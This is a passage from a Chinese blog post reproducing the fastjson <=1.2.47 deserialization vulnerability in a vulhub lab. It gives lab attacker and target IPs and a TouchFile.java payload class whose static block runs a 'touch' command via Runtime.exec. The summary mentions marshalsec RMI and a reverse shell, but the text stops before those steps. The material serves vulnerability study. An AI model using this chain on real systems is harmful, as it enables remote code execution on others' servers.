fastjson＜=1.2.47反序列化漏洞复现

最新推荐文章于 2024-07-21 21:53:52 发布

DaWan_Lv

最新推荐文章于 2024-07-21 21:53:52 发布

阅读量436

点赞数

分类专栏：漏洞复现文章标签：安全漏洞

本文链接：https://blog.csdn.net/wendy_lwn/article/details/108798157

版权

本文介绍了如何复现fastjson<=1.2.47的安全漏洞。首先通过vulhub搭建环境，然后创建并编译TouchFile.java，将其部署在Tomcat服务器上。接着，利用marshalsec启动RMI服务，并构造特定payload向目标主机发送请求，最终成功触发漏洞，实现文件操作和反弹Shell。

摘要由CSDN通过智能技术生成

fastjson<=1.2.47 反序列化漏洞复现

环境搭建
漏洞复现

环境搭建

使用vulhub进行环境搭建，具体步骤可参考这里。

本文中环境IP地址介绍:
攻击IP：192.168.120.1
目标IP：192.168.120.161

漏洞复现

创建一个java类：
TouchFile.java

// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
    static {
        try {
            Runtime rt = Runtime.getRuntime();
            String[] commands = {"touch", "/tmp/successFJ"};
            Process pc = rt.exec(commands);
            pc.waitFor();
        } catch (Exception e) {
            // do nothing
        }
    }
}

编译上面创建的java类：